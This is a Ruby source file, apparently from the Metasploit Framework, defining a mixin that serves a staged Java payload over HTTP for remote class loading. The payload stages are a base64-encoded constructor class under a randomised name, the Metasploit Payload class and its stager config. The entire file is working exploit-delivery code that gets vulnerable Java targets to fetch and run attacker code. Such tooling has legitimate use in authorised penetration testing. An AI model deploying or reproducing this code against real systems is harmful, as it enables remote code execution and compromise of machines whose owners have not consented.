# -*- coding: binary -*-

#
# This mixin implements the remote loading of Java classes over HTTP
#

module Msf::Exploit::Remote::Java::HTTP
module ClassLoader

  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(update_info(info,
      'Stance' => Msf::Exploit::Stance::Aggressive
    ))

    deregister_options('URIPATH')
  end

  def start_service(opts = {})
    # XXX: This is a workaround until we can take SSL in opts
    ssl = datastore['SSL']
    datastore['SSL'] = false

    super(opts.merge('Path' => '/'))

    classloader_uri = get_uri
    datastore['SSL'] = ssl

    classloader_uri
  end

  def on_request_uri(cli, request)
    vprint_status("#{request.method} #{request.uri} requested")

    unless %w[HEAD GET].include?(request.method)
      vprint_error("Ignoring #{request.method} request")
      return
    end

    if request.method == 'HEAD'
      whitelist = %W[
        /#{class_name}.class
        /metasploit/Payload.class
        /metasploit.dat
      ]

      unless whitelist.include?(request.uri)
        vprint_error('Sending 404')
        return send_not_found(cli)
      end

      vprint_good('Sending 200')
      return send_response(cli, '')
    end

    case request.uri
    # Stage 1
    when "/#{class_name}.class"
      vprint_good('Sending constructor class')
      # This contains the constructor that will call our JavaPayload
      res = constructor_class
    # Stage 2
    when '/metasploit/Payload.class'
      vprint_good('Sending payload class')
      # This is our JavaPayload as a compiled class
      res = MetasploitPayloads.read('java/metasploit/Payload.class')
    # Stage 3
    when '/metasploit.dat'
      vprint_good('Sending payload config')
      # This tells the target how to address the payload; this is the magic!
      res = payload_instance.stager_config
    else
      vprint_error('Sending 404')
      return send_not_found(cli)
    end

    send_response(
      cli,
      res,
      # file -I says application/x-java-applet, but I don't believe it
      'Content-Type' => 'application/octet-stream'
    )
  end

=begin javac Metasploit.java
  import metasploit.Payload;

  public class Metasploit {
    public Metasploit() {
      try {
        Payload.main(null);
      }
      catch (Exception e) {}
    }
  }
=end
  def constructor_class
    klass = Rex::Text.decode_base64(
      <<~EOF
        yv66vgAAADMAFQoABQAMCgANAA4HAA8HABAHABEBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAN
        U3RhY2tNYXBUYWJsZQcAEAcADwwABgAHBwASDAATABQBABNqYXZhL2xhbmcvRXhjZXB0aW9u
        AQAKTWV0YXNwbG9pdAEAEGphdmEvbGFuZy9PYmplY3QBABJtZXRhc3Bsb2l0L1BheWxvYWQB
        AARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgAhAAQABQAAAAAAAQABAAYABwABAAgA
        AAA3AAEAAgAAAA0qtwABAbgAAqcABEyxAAEABAAIAAsAAwABAAkAAAAQAAL/AAsAAQcACgAB
        BwALAAAA
      EOF
    )

    # Replace length-prefixed string "Metasploit" with a random one
    klass.sub("\x00\x0aMetasploit", packed_class_name)
  end

  def class_name
    @class_name ||= rand_text_alpha(8..42).capitalize
  end

  def packed_class_name
    "#{[class_name.length].pack('n')}#{class_name}"
  end

end
end
